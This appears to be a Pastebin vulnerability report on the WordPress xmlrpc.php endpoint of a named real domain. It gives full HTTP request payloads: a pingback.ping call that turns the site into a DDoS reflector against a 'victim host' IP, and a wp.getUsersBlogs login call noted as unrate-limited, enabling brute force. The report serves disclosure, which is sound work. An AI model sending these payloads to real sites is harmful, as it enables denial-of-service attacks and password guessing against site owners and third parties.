Advertisement
bilasi

Untitled

Sep 20th, 2017
478
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.01 KB | None | 0 0
  1. Wordpress Pingback DDoS Attacks in domain: https://about.mattermost.com/xmlrpc.php
  2. ===============================================================
  3.  
  4. URL: https://about.mattermost.com/xmlrpc.php
  5.  
  6. Wordpress blogs that have about.mattermost.com/xmlrpc.php enabled for pingbacks, trackbacks, etc. can be made as a part of a huge botnet causing a major DDOS. The blog at about.mattermost.com//xmlrpc.php has the xmlrpc.php file enabled and could thus be potentially used for such an attack against other victim hosts.
  7.  
  8. In order to determine whether the xmlrpc.php file is enabled or not, using the Repeater tab in Burp, send the request below. See screenshot:
  9.  
  10. POST /xmlrpc.php HTTP/1.1
  11. Host: about.mattermost.com/
  12. User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
  13.  
  14. <?xml version="1.0" encoding="utf-8"?>
  15. <methodCall>
  16. <methodName>demo.sayHello</methodName>
  17. <params>
  18. <param>
  19. <value>admin</value>
  20. </param>
  21. </params>
  22. </methodCall>
  23.  
  24. POST /xmlrpc.php HTTP/1.1
  25. Host: about.mattermost.com/
  26. User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
  27. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  28. Accept-Language: en-US,en;q=0.5
  29.  
  30. <methodCall>
  31. <methodName>pingback.ping</methodName>
  32. <params>
  33. <param>
  34. <value><string>https://192.0.79.32/</string></value>
  35. </param>
  36. <param>
  37. <value><string>https://about.mattermost.com/xmlrpc.php</string></value>
  38. </param>
  39. </params>
  40. </methodCall>
  41.  
  42.  
  43. PoC:
  44. ====
  45. https://imgur.com/a/D8g1I
  46.  
  47.  
  48. As soon as the above request is sent, the victim host (192.0.79.32) gets an entry in its log file with a request originating from the about.mattermost.com/xmlrpc.php domain verifying the pingback.
  49.  
  50. <?xml version="1.0"?>
  51. <methodCall>
  52. <methodName>wp.getUsersBlogs</methodName>
  53. <params>
  54. <param>
  55. <value>
  56. <string>admin</string>
  57. </value>
  58. </param>
  59. <param>
  60. <value>
  61. <string>password</string>
  62. </value>
  63. </param>
  64. </params>
  65. </methodCall>
  66.  
  67. And also no rate limit to check username/password
  68.  
  69. Thanks
  70.  
  71. _Root
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement